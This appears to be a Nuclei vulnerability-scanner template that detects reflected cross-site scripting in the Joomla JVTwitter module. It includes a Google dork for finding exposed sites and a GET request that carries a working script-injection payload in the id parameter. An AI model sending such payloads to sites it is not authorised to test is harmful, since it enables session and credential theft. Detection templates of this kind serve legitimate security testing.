漏洞描述
The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
id: joomla-jvtwitter-xss
info:
name: Joomla JVTwitter - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
reference:
- https://buaq.net/go-44433.html
- https://cxsecurity.com/issue/WLB-2020110041
- https://extensions.joomla.org/
metadata:
verified: true
max-request: 2
google-query: inurl:mod_jvtwitter/jvtwitter.php?id=
tags: joomla,jvtwitter,xss,vuln
http:
- method: GET
path:
- "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id=%22%3E%3Cimg%20src=x%20onerror=prompt(document.domain);%3E"
- "{{BaseURL}}/modules/mod_jvtwitter/jvtwitter.php?id="
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains(content_type_1, "text/html")'
- 'contains(body_1, "><img src=x onerror=prompt(document.domain)")'
- 'contains(body_2,"{\"rs\":\"0")'
condition: and
# digest: 4b0a00483046022100e117ca2165501e96538f176793768fe433106085e17175bd26f9470541263c18022100e8616834b061d8c4dc5d22c0b05b4d6aad181f0f446c480523f1e3a697d88e3a:922c64590222798bb761d5b6d8e72950